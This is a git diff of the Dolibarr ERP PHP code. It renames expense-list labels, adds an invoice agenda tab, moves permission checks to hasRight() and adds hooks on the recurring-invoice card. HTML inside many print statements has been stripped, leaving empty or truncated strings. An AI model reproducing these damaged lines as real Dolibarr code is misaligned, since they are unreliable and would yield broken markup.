      '; diff --git a/htdocs/compta/deplacement/index.php b/htdocs/compta/deplacement/index.php index a4a782de603..6f4613097d9 100644 --- a/htdocs/compta/deplacement/index.php +++ b/htdocs/compta/deplacement/index.php @@ -68,7 +68,7 @@ $childids[] = $user->id; //$help_url='EN:Module_Donations|FR:Module_Dons|ES:Módulo_Donaciones'; $help_url = ''; -llxHeader('', $langs->trans("ListOfFees"), $help_url); +llxHeader('', $langs->trans("TripsAndExpenses"), $help_url); diff --git a/htdocs/compta/deplacement/list.php b/htdocs/compta/deplacement/list.php index cae06774332..c1c5e5cb851 100644 --- a/htdocs/compta/deplacement/list.php +++ b/htdocs/compta/deplacement/list.php @@ -131,7 +131,7 @@ $resql = $db->query($sql); if ($resql) { $num = $db->num_rows($resql); - print_barre_liste($langs->trans("ListOfFees"), $page, $_SERVER["PHP_SELF"], "&socid=$socid", $sortfield, $sortorder, '', $num); + print_barre_liste($langs->trans("TripsAndExpenses"), $page, $_SERVER["PHP_SELF"], "&socid=$socid", $sortfield, $sortorder, '', $num); $i = 0; print ''."\n"; diff --git a/htdocs/compta/deplacement/stats/index.php b/htdocs/compta/deplacement/stats/index.php index 1bf7706bf87..4cb75c526ef 100644 --- a/htdocs/compta/deplacement/stats/index.php +++ b/htdocs/compta/deplacement/stats/index.php @@ -321,7 +321,7 @@ print ''; print '

      '; -print '
      '; +print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/compta/facture/agenda.php b/htdocs/compta/facture/agenda.php new file mode 100644 index 00000000000..a452a8dd6aa --- /dev/null +++ b/htdocs/compta/facture/agenda.php @@ -0,0 +1,256 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/compta/facture/agenda.php + * \ingroup facture + * \brief Tab of events on Invoices + */ +require '../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; +require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; +require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/invoice.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("bills", "other")); + +// Get parameters +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$action = GETPOST('action', 'aZ09'); +$cancel = GETPOST('cancel', 'aZ09'); +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search +$backtopage = GETPOST('backtopage', 'alpha'); + +if (GETPOST('actioncode', 'array')) { + $actioncode = GETPOST('actioncode', 'array', 3); + if (!count($actioncode)) { + $actioncode = '0'; + } +} else { + $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); +} +$search_rowid = GETPOST('search_rowid'); +$search_agenda_label = GETPOST('search_agenda_label'); + +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortfield) { + $sortfield = 'a.datep,a.id'; +} +if (!$sortorder) { + $sortorder = 'DESC,DESC'; +} + +// Initialize technical objects +$object = new Facture($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->facture->multidir_output[$conf->entity].'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('invoiceagenda', 'globalcard')); // Note that conf->hooks_modules contains array +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals +if ($id > 0 || !empty($ref)) { + $upload_dir = $conf->facture->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; +} + +$permissiontoread = $user->hasRight("facture", "lire"); +$permissiontoadd = $user->hasRight("facture", "creer"); + +// Security check +if (!empty($user->socid)) { + $socid = $user->socid; +} +$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +restrictedArea($user, 'facture', $object->id, '', '', 'fk_soc', 'rowid', $isdraft); + + +/* + * Actions + */ + +$parameters = array('id'=>$id); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +if (empty($reshook)) { + // Cancel + if (GETPOST('cancel', 'alpha') && !empty($backtopage)) { + header("Location: ".$backtopage); + exit; + } + + // Purge search criteria + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers + $actioncode = ''; + $search_agenda_label = ''; + } +} + + + +/* + * View + */ + +$form = new Form($db); + +if ($object->id > 0) { + $title = $langs->trans("Agenda"); + //if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; + $help_url = 'EN:Module_Agenda_En|DE:Modul_Terminplanung'; + llxHeader('', $title, $help_url); + + if (isModEnabled('notification')) { + $langs->load("mails"); + } + $head = facture_prepare_head($object); + + + print dol_get_fiche_head($head, 'agenda', $langs->trans("Invoice"), -1, $object->picto); + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + // Ref customer + $morehtmlref .= $form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref .= $form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref .= '
      '.$object->thirdparty->getNomUrl(1); + // Project + if (isModEnabled('project')) { + $langs->load("projects"); + $morehtmlref .= '
      '; + if (0) { + $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); + if ($action != 'classify') { + $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; + } + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); + } else { + if (!empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= $proj->getNomUrl(1); + if ($proj->title) { + $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; + } + } + } + } + $morehtmlref .= '
      '; + + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + print '
      '; + print '
      '; + + $object->info($object->id); + dol_print_object_info($object, 1); + + print '
      '; + + print dol_get_fiche_end(); + + + + // Actions buttons + + $objthirdparty = $object; + $objcon = new stdClass(); + + $out = '&origin='.urlencode($object->element.(property_exists($object, 'module') ? '@'.$object->module : '')).'&originid='.urlencode($object->id); + $urlbacktopage = $_SERVER['PHP_SELF'].'?id='.$object->id; + $out .= '&backtopage='.urlencode($urlbacktopage); + $permok = $user->rights->agenda->myactions->create; + if ((!empty($objthirdparty->id) || !empty($objcon->id)) && $permok) { + //$out.='trans("AddAnAction"),'filenew'); + //$out.=""; + } + + $morehtmlright = ''; + + //$messagingUrl = DOL_URL_ROOT.'/societe/messaging.php?socid='.$object->id; + //$morehtmlright .= dolGetButtonTitle($langs->trans('ShowAsConversation'), '', 'fa fa-comments imgforviewmode', $messagingUrl, '', 1); + //$messagingUrl = DOL_URL_ROOT.'/societe/agenda.php?socid='.$object->id; + //$morehtmlright .= dolGetButtonTitle($langs->trans('MessageListViewType'), '', 'fa fa-bars imgforviewmode', $messagingUrl, '', 2); + + if (isModEnabled('agenda')) { + if ($user->hasRight('agenda', 'myactions', 'create') || $user->hasRight('agenda', 'allactions', 'create')) { + $morehtmlright .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out); + } else { + $morehtmlright .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out, '', 0); + } + } + + + if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { + print '
      '; + + $param = '&id='.$object->id.(!empty($socid) ? '&socid='.$socid : ''); + if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); + } + if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); + } + + // Try to know count of actioncomm from cache + require_once DOL_DOCUMENT_ROOT.'/core/lib/memory.lib.php'; + $cachekey = 'count_events_facture_'.$object->id; + $nbEvent = dol_getcache($cachekey); + + print_barre_liste($langs->trans("ActionsOnBill").(is_numeric($nbEvent) ? '('.$nbEvent.')': ''), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $morehtmlright, '', 0, 1, 1); + //print_barre_liste($langs->trans("ActionsOnBill"), 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, '', 0, -1, '', 0, $morehtmlright, '', 0, 1, 1); + + // List of all actions + $filters = array(); + $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; + + // TODO Replace this with same code than into list.php + show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, property_exists($object, 'module') ? $object->module : ''); + } +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/compta/facture/card-rec.php b/htdocs/compta/facture/card-rec.php index 2a15c74c948..a2a87d6d64a 100644 --- a/htdocs/compta/facture/card-rec.php +++ b/htdocs/compta/facture/card-rec.php @@ -3,7 +3,7 @@ * Copyright (C) 2004-2016 Laurent Destailleur * Copyright (C) 2005-2012 Regis Houssin * Copyright (C) 2013 Florian Henry - * Copyright (C) 2013 Juanjo Menent + * Copyright (C) 2013-2023 Juanjo Menent * Copyright (C) 2015 Jean-François Ferry * Copyright (C) 2012 Cedric Salvador * Copyright (C) 2015 Alexandre Spangaro @@ -105,23 +105,23 @@ $extrafields->fetch_name_optionals_label($object->table_element); $search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); -$permissionnote = $user->rights->facture->creer; // Used by the include of actions_setnotes.inc.php -$permissiondellink = $user->rights->facture->creer; // Used by the include of actions_dellink.inc.php -$permissiontoedit = $user->rights->facture->creer; // Used by the include of actions_lineupdonw.inc.php +$permissionnote = $user->hasRight('facture', 'creer'); // Used by the include of actions_setnotes.inc.php +$permissiondellink = $user->hasRight('facture', 'creer'); // Used by the include of actions_dellink.inc.php +$permissiontoedit = $user->hasRight('facture', 'creer'); // Used by the include of actions_lineupdonw.inc.php -$usercanread = $user->rights->facture->lire; -$usercancreate = $user->rights->facture->creer; -$usercanissuepayment = $user->rights->facture->paiement; -$usercandelete = $user->rights->facture->supprimer; +$usercanread = $user->hasRight('facture', 'lire'); +$usercancreate = $user->hasRight('facture', 'creer'); +$usercanissuepayment = $user->hasRight('facture', 'paiement'); +$usercandelete = $user->hasRight('facture', 'supprimer'); $usercanvalidate = ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && $usercancreate) || (!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && !empty($user->rights->facture->invoice_advance->validate))); $usercansend = (empty($conf->global->MAIN_USE_ADVANCED_PERMS) || $user->rights->facture->invoice_advance->send); $usercanreopen = (empty($conf->global->MAIN_USE_ADVANCED_PERMS) || $user->rights->facture->invoice_advance->reopen); $usercanunvalidate = ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && !empty($usercancreate)) || (!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && !empty($user->rights->facture->invoice_advance->unvalidate))); $usercanproductignorepricemin = ((!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && empty($user->rights->produit->ignore_price_min_advance)) || empty($conf->global->MAIN_USE_ADVANCED_PERMS)); -$usercancreatemargin = $user->rights->margins->creer; -$usercanreadallmargin = $user->rights->margins->liretous; -$usercancreatewithdrarequest = $user->rights->prelevement->bons->creer; +$usercancreatemargin = $user->hasRight("margins", "creer"); +$usercanreadallmargin = $user->hasRight("margins", "liretous"); +$usercancreatewithdrarequest = $user->hasRight("prelevement", "bons", "creer"); $now = dol_now(); @@ -142,7 +142,7 @@ if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massa $massaction = ''; } -$parameters = array('socid' => $socid); +$parameters = array(); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); @@ -271,7 +271,7 @@ if (empty($reshook)) { } // Delete - if ($action == 'confirm_deleteinvoice' && $confirm == 'yes' && $user->rights->facture->supprimer) { + if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->facture->supprimer) { $object->delete($user); header("Location: ".DOL_URL_ROOT.'/compta/facture/invoicetemplate_list.php'); @@ -281,15 +281,15 @@ if (empty($reshook)) { // Update field // Set condition - if ($action == 'setconditions' && $user->rights->facture->creer) { + if ($action == 'setconditions' && $user->hasRight('facture', 'creer')) { $result = $object->setPaymentTerms(GETPOST('cond_reglement_id', 'int')); - } elseif ($action == 'setmode' && $user->rights->facture->creer) { + } elseif ($action == 'setmode' && $user->hasRight('facture', 'creer')) { // Set mode $result = $object->setPaymentMethods(GETPOST('mode_reglement_id', 'int')); - } elseif ($action == 'classin' && $user->rights->facture->creer) { + } elseif ($action == 'classin' && $user->hasRight('facture', 'creer')) { // Set project $object->setProject(GETPOST('projectid', 'int')); - } elseif ($action == 'setref' && $user->rights->facture->creer) { + } elseif ($action == 'setref' && $user->hasRight('facture', 'creer')) { // Set bank account //var_dump(GETPOST('ref', 'alpha'));exit; $result = $object->setValueFrom('titre', $ref, '', null, 'text', '', $user, 'BILLREC_MODIFY'); @@ -306,31 +306,31 @@ if (empty($reshook)) { setEventMessages($object->error, $object->errors, 'errors'); } } - } elseif ($action == 'setbankaccount' && $user->rights->facture->creer) { + } elseif ($action == 'setbankaccount' && $user->hasRight('facture', 'creer')) { // Set bank account $result = $object->setBankAccount(GETPOST('fk_account', 'int')); - } elseif ($action == 'setfrequency' && $user->rights->facture->creer) { + } elseif ($action == 'setfrequency' && $user->hasRight('facture', 'creer')) { // Set frequency and unit frequency $object->setFrequencyAndUnit(GETPOST('frequency', 'int'), GETPOST('unit_frequency', 'alpha')); - } elseif ($action == 'setdate_when' && $user->rights->facture->creer) { + } elseif ($action == 'setdate_when' && $user->hasRight('facture', 'creer')) { // Set next date of execution $date = dol_mktime(GETPOST('date_whenhour'), GETPOST('date_whenmin'), 0, GETPOST('date_whenmonth'), GETPOST('date_whenday'), GETPOST('date_whenyear')); if (!empty($date)) { $object->setNextDate($date); } - } elseif ($action == 'setnb_gen_max' && $user->rights->facture->creer) { + } elseif ($action == 'setnb_gen_max' && $user->hasRight('facture', 'creer')) { // Set max period $object->setMaxPeriod(GETPOST('nb_gen_max', 'int')); - } elseif ($action == 'setauto_validate' && $user->rights->facture->creer) { + } elseif ($action == 'setauto_validate' && $user->hasRight('facture', 'creer')) { // Set auto validate $object->setAutoValidate(GETPOST('auto_validate', 'int')); - } elseif ($action == 'setgenerate_pdf' && $user->rights->facture->creer) { + } elseif ($action == 'setgenerate_pdf' && $user->hasRight('facture', 'creer')) { // Set generate pdf $object->setGeneratepdf(GETPOST('generate_pdf', 'int')); - } elseif ($action == 'setmodelpdf' && $user->rights->facture->creer) { + } elseif ($action == 'setmodelpdf' && $user->hasRight('facture', 'creer')) { // Set model pdf $object->setModelpdf(GETPOST('modelpdf', 'alpha')); - } elseif ($action == 'disable' && $user->rights->facture->creer) { + } elseif ($action == 'disable' && $user->hasRight('facture', 'creer')) { // Set status disabled $db->begin(); @@ -347,7 +347,7 @@ if (empty($reshook)) { $db->rollback(); setEventMessages($object->error, $object->errors, 'errors'); } - } elseif ($action == 'enable' && $user->rights->facture->creer) { + } elseif ($action == 'enable' && $user->hasRight('facture', 'creer')) { // Set status enabled $db->begin(); @@ -373,7 +373,7 @@ if (empty($reshook)) { } // Delete line - if ($action == 'confirm_deleteline' && $confirm == 'yes' && $user->rights->facture->creer) { + if ($action == 'confirm_deleteline' && $confirm == 'yes' && $user->hasRight('facture', 'creer')) { $object->fetch($id); $object->fetch_thirdparty(); @@ -417,7 +417,7 @@ if (empty($reshook)) { } // Add a new line - if ($action == 'addline' && $user->rights->facture->creer) { + if ($action == 'addline' && $user->hasRight('facture', 'creer')) { $langs->load('errors'); $error = 0; @@ -437,6 +437,9 @@ if (empty($reshook)) { $qty = price2num(GETPOST('qty'.$predef, 'alpha'), 'MS', 2); $remise_percent = price2num(GETPOST('remise_percent'.$predef), '', 2); + if (empty($remise_percent)) { + $remise_percent = 0; + } // Extrafields $extralabelsline = $extrafields->fetch_name_optionals_label($object->table_element_line); @@ -784,6 +787,9 @@ if (empty($reshook)) { }*/ $remise_percent = price2num(GETPOST('remise_percent'), '', 2); + if (empty($remise_percent)) { + $remise_percent = 0; + } // Check minimum price $productid = GETPOST('productid', 'int'); @@ -800,8 +806,10 @@ if (empty($reshook)) { $label = ((GETPOST('update_label') && GETPOST('product_label')) ? GETPOST('product_label') : ''); + $typeinvoice = Facture::TYPE_STANDARD; + // Check price is not lower than minimum (check is done only for standard or replacement invoices) - if (((!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && empty($user->rights->produit->ignore_price_min_advance)) || empty($conf->global->MAIN_USE_ADVANCED_PERMS)) && (($object->type == Facture::TYPE_STANDARD || $object->type == Facture::TYPE_REPLACEMENT) && $price_min && (price2num($pu_ht) * (1 - $remise_percent / 100) < price2num($price_min)))) { + if (((!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && empty($user->rights->produit->ignore_price_min_advance)) || empty($conf->global->MAIN_USE_ADVANCED_PERMS)) && (($typeinvoice == Facture::TYPE_STANDARD || $typeinvoice == Facture::TYPE_REPLACEMENT) && $price_min && ((float) price2num($pu_ht) * (1 - (float) $remise_percent / 100) < (float) price2num($price_min)))) { setEventMessages($langs->trans("CantBeLessThanMinPrice", price(price2num($price_min, 'MU'), 0, $langs, 0, 0, - 1, $conf->currency)), null, 'errors'); $error++; } @@ -1173,8 +1181,17 @@ if ($action == 'create') { } // Confirm delete of repeatable invoice - if ($action == 'ask_deleteinvoice') { - $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('DeleteRepeatableInvoice'), $langs->trans('ConfirmDeleteRepeatableInvoice'), 'confirm_deleteinvoice', '', 'no', 1); + if ($action == 'delete') { + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('DeleteRepeatableInvoice'), $langs->trans('ConfirmDeleteRepeatableInvoice'), 'confirm_delete', '', 'no', 1); + } + + // Call Hook formConfirm + $parameters = array('formConfirm' => $formconfirm); + $reshook = $hookmanager->executeHooks('formConfirm', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + $formconfirm .= $hookmanager->resPrint; + } elseif ($reshook > 0) { + $formconfirm = $hookmanager->resPrint; } print $formconfirm; @@ -1220,7 +1237,7 @@ if ($action == 'create') { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -1277,7 +1294,7 @@ if ($action == 'create') { print ''; - if ($action != 'editconditions' && $user->rights->facture->creer) { + if ($action != 'editconditions' && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('PaymentConditionsShort'); print 'id.'">'.img_edit($langs->trans('SetConditions'), 1).'
      '; @@ -1298,7 +1315,7 @@ if ($action == 'create') { print ''; - if ($action != 'editmode' && $user->rights->facture->creer) { + if ($action != 'editmode' && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('PaymentMode'); print 'id.'">'.img_edit($langs->trans('SetMode'), 1).'
      '; @@ -1407,7 +1424,7 @@ if ($action == 'create') { print ''; } print '
      '; print $langs->trans('BankAccount'); print ''; - if (($action != 'editbankaccount') && $user->rights->facture->creer && $object->statut == FactureRec::STATUS_DRAFT) { + if (($action != 'editbankaccount') && $user->hasRight('facture', 'creer') && $object->statut == FactureRec::STATUS_DRAFT) { print 'id.'">'.img_edit($langs->trans('SetBankAccount'), 1).'
      '; @@ -1425,7 +1442,7 @@ if ($action == 'create') { print ''; } print '
      '; print $langs->trans('Model'); print ''; - if (($action != 'editmodelpdf') && $user->rights->facture->creer && $object->statut == FactureRec::STATUS_DRAFT) { + if (($action != 'editmodelpdf') && $user->hasRight('facture', 'creer') && $object->statut == FactureRec::STATUS_DRAFT) { print 'id.'">'.img_edit($langs->trans('SetModel'), 1).'
      '; @@ -1471,7 +1488,7 @@ if ($action == 'create') { print ''; - if ($action != 'editfrequency' && $user->rights->facture->creer) { + if ($action != 'editfrequency' && $user->hasRight('facture', 'creer')) { print ''; } print '
      '; print $langs->trans('Frequency'); print 'id.'">'.img_edit($langs->trans('Edit'), 1).'
      '; @@ -1624,11 +1641,11 @@ if ($action == 'create') { // Show object lines if (!empty($object->lines)) { $canchangeproduct = 1; - $ret = $object->printObjectLines($action, $mysoc, $object->thirdparty, $lineid, 0); // No date selector for template invoice + $object->printObjectLines($action, $mysoc, $object->thirdparty, $lineid, 0); // No date selector for template invoice } // Form to add new line - if ($object->statut == $object::STATUS_DRAFT && $user->rights->facture->creer && $action != 'valid' && $action != 'editline') { + if ($object->statut == $object::STATUS_DRAFT && $user->hasRight('facture', 'creer') && $action != 'valid' && $action != 'editline') { if ($action != 'editline') { // Add free products/services @@ -1653,33 +1670,41 @@ if ($action == 'create') { */ print '
      '; - if (empty($object->suspended)) { - if ($user->rights->facture->creer) { - if (!empty($object->frequency) && $object->nb_gen_max > 0 && ($object->nb_gen_done >= $object->nb_gen_max)) { - print ''; - } else { - if (empty($object->frequency) || $object->date_when <= $nowlasthour) { - print ''; - } else { - print ''; - } - } - } else { - print ''; - } - } - - if ($user->rights->facture->creer) { + $parameters = array(); + $reshook = $hookmanager->executeHooks('addMoreActionsButtons', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + $params = array( + 'attr' => array( + 'class' => 'classfortooltip', + ), + ); if (empty($object->suspended)) { - print ''; - } else { - print ''; + if ($user->rights->facture->creer) { + if (!empty($object->frequency) && $object->nb_gen_max > 0 && ($object->nb_gen_done >= $object->nb_gen_max)) { + print ''; + } else { + if (empty($object->frequency) || $object->date_when <= $nowlasthour) { + print ''; + } else { + print ''; + } + } + } else { + print ''; + } } + + if ($user->rights->facture->creer) { + if (empty($object->suspended)) { + print ''; + } else { + print ''; + } + } + + // Delete + print dolGetButtonAction($langs->trans("Delete"), '', 'delete', $_SERVER["PHP_SELF"] . '?id=' . $object->id . '&action=delete&token=' . newToken(), 'delete', $user->rights->facture->supprimer); } - - // Delete - print dolGetButtonAction($langs->trans("Delete"), '', 'delete', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=delete&token='.newToken(), 'delete', $user->rights->facture->supprimer); - print '
      '; diff --git a/htdocs/compta/facture/card.php b/htdocs/compta/facture/card.php index 10cf7b624fc..58c7e35724d 100644 --- a/htdocs/compta/facture/card.php +++ b/htdocs/compta/facture/card.php @@ -14,7 +14,7 @@ * Copyright (C) 2013 Cédric Salvador * Copyright (C) 2014-2019 Ferran Marcet * Copyright (C) 2015-2016 Marcos García - * Copyright (C) 2018-2021 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * Copyright (C) 2022 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify @@ -80,14 +80,14 @@ if (isModEnabled('margin')) { } // General $Variables -$projectid = (GETPOST('projectid', 'int') ? GETPOST('projectid', 'int') : 0); - $id = (GETPOST('id', 'int') ? GETPOST('id', 'int') : GETPOST('facid', 'int')); // For backward compatibility $ref = GETPOST('ref', 'alpha'); $socid = GETPOST('socid', 'int'); $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); $cancel = GETPOST('cancel', 'alpha'); +$backtopage = GETPOST('backtopage', 'alpha'); + $lineid = GETPOST('lineid', 'int'); $userid = GETPOST('userid', 'int'); $search_ref = GETPOST('sf_ref', 'alpha') ? GETPOST('sf_ref', 'alpha') : GETPOST('search_ref', 'alpha'); @@ -100,6 +100,7 @@ $fac_rec = GETPOST('fac_rec', 'int'); $facid = GETPOST('facid', 'int'); $ref_client = GETPOST('ref_client', 'int'); $rank = (GETPOST('rank', 'int') > 0) ? GETPOST('rank', 'int') : -1; +$projectid = (GETPOST('projectid', 'int') ? GETPOST('projectid', 'int') : 0); // PDF $hidedetails = (GETPOST('hidedetails', 'int') ? GETPOST('hidedetails', 'int') : (!empty($conf->global->MAIN_GENERATE_DOCUMENTS_HIDE_DETAILS) ? 1 : 0)); @@ -391,7 +392,7 @@ if (empty($reshook)) { if ($result < 0) { dol_print_error($db, $object->error); } - } elseif ($action == 'setretainedwarrantyconditions' && $user->rights->facture->creer) { + } elseif ($action == 'setretainedwarrantyconditions' && $user->hasRight('facture', 'creer')) { $object->fetch($id); $object->retained_warranty_fk_cond_reglement = 0; // To clean property $result = $object->setRetainedWarrantyPaymentTerms(GETPOST('retained_warranty_fk_cond_reglement', 'int')); @@ -411,13 +412,13 @@ if (empty($reshook)) { if ($result < 0) { dol_print_error($db, $object->error); } - } elseif ($action == 'setretainedwarranty' && $user->rights->facture->creer) { + } elseif ($action == 'setretainedwarranty' && $user->hasRight('facture', 'creer')) { $object->fetch($id); $result = $object->setRetainedWarranty(GETPOST('retained_warranty', 'float')); if ($result < 0) { dol_print_error($db, $object->error); } - } elseif ($action == 'setretainedwarrantydatelimit' && $user->rights->facture->creer) { + } elseif ($action == 'setretainedwarrantydatelimit' && $user->hasRight('facture', 'creer')) { $object->fetch($id); $result = $object->setRetainedWarrantyDateLimit(GETPOST('retained_warranty_date_limit', 'float')); if ($result < 0) { @@ -1305,7 +1306,8 @@ if (empty($reshook)) { $object->date_pointoftax = $date_pointoftax; $object->note_public = trim(GETPOST('note_public', 'restricthtml')); $object->note_private = trim(GETPOST('note_private', 'restricthtml')); - $object->ref_client = GETPOST('ref_client'); + $object->ref_customer = GETPOST('ref_client'); + $object->ref_client = $object->ref_customer; $object->model_pdf = GETPOST('model'); $object->fk_project = GETPOST('projectid', 'int'); $object->cond_reglement_id = (GETPOST('type') == 3 ? 1 : GETPOST('cond_reglement_id')); @@ -2038,12 +2040,12 @@ if (empty($reshook)) { $prod_entry_mode = GETPOST('prod_entry_mode', 'aZ09'); if ($prod_entry_mode == 'free') { $idprod = 0; - $tva_tx = (GETPOST('tva_tx', 'alpha') ? price2num(preg_replace('/\s*\(.*\)/', '', GETPOST('tva_tx', 'alpha'))) : 0); } else { $idprod = GETPOST('idprod', 'int'); - $tva_tx = ''; } + $tva_tx = GETPOST('tva_tx', 'alpha'); + $qty = price2num(GETPOST('qty'.$predef, 'alpha'), 'MS', 2); $remise_percent = (GETPOSTISSET('remise_percent'.$predef) ? price2num(GETPOST('remise_percent'.$predef, 'alpha'), '', 2) : 0); if (empty($remise_percent)) { @@ -2130,6 +2132,7 @@ if (empty($reshook)) { $date_start = dol_mktime(GETPOST('date_start'.$predef.'hour'), GETPOST('date_start'.$predef.'min'), GETPOST('date_start'.$predef.'sec'), GETPOST('date_start'.$predef.'month'), GETPOST('date_start'.$predef.'day'), GETPOST('date_start'.$predef.'year')); $date_end = dol_mktime(GETPOST('date_end'.$predef.'hour'), GETPOST('date_end'.$predef.'min'), GETPOST('date_end'.$predef.'sec'), GETPOST('date_end'.$predef.'month'), GETPOST('date_end'.$predef.'day'), GETPOST('date_end'.$predef.'year')); $price_base_type = (GETPOST('price_base_type', 'alpha') ? GETPOST('price_base_type', 'alpha') : 'HT'); + $tva_npr = ""; // Define special_code for special lines $special_code = 0; @@ -2137,7 +2140,6 @@ if (empty($reshook)) { // Ecrase $pu par celui du produit // Ecrase $desc par celui du produit - // Ecrase $tva_tx par celui du produit // Ecrase $base_price_type par celui du produit // Replaces $fk_unit with the product's if (!empty($idprod) && $idprod > 0) { @@ -2154,13 +2156,12 @@ if (empty($reshook)) { $pu_ht = $datapriceofproduct['pu_ht']; $pu_ttc = $datapriceofproduct['pu_ttc']; $price_min = $datapriceofproduct['price_min']; - 